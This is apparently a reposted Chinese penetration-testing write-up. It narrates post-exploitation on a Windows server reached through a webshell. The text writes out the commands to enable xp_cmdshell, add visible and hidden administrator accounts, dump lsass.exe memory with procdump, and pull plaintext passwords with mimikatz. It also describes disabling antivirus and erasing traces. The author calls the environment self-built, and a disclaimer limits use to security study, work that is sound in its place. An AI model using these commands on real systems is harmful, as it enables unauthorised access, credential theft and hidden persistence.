0x02 正文

直接传了个大马，执行命令看下权限

这权限也太小了吧，先来提权，看下补丁

这还不随便打了，传了几个提权exe之后发现都执行不了，可能被杀软杀掉了，然后尝试抓hash

看来只有pwdump7.exe没被杀了，但是权限不够

现在我们的权限能去读一些文件，去翻一翻sqlserver的密码，尝试sqlserver来提权

开启xp_cmdshell

exec sp_configure 'show advanced options', 1;reconfigure;exec sp_configure 'xp_cmdshell',1;reconfigure;

成了，有权限了，尝试加个管理员？

exec master..xp_cmdshell 'net user test pinohd123. /add'    添加用户test，密码testexec master..xp_cmdshell 'net localgroup administrators test add'    添加test用户到管理员组

加不上啊，杀软拦了，再次使用pwdump7来抓hash

本来就开着3389，直接连上去

开着管家和金山，传的东西都被拦截了，关掉杀软，先加个隐藏用户

net user test$ pinohd123. /addnet localgroup administrators test$ add

这里lz1y告诉我也可以procdump去搞，procdump是官方的工具，不会被杀软杀

exec master..xp_cmdshell 'xxxx\images\button\Procdump.exe -accepteula -ma lsass.exe -o xxx.dmp'

把2.dmp存到本来来配合mimikatz

mimikatz.exesekurlsa::minidump 2.dmpsekurlsa::logonPasswords full

同样拿到明文。奈何没有域，擦了脚印溜了。

好了；以上问题纯属虚构，环境也是自己搭的。(告辞

文章来源：先知社区（我想学安全）

原文地址：https://xz.aliyun.com/t/5646

黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用，任何人不得将其用于非法用途及盈利等目的，否则后果自行承担！

END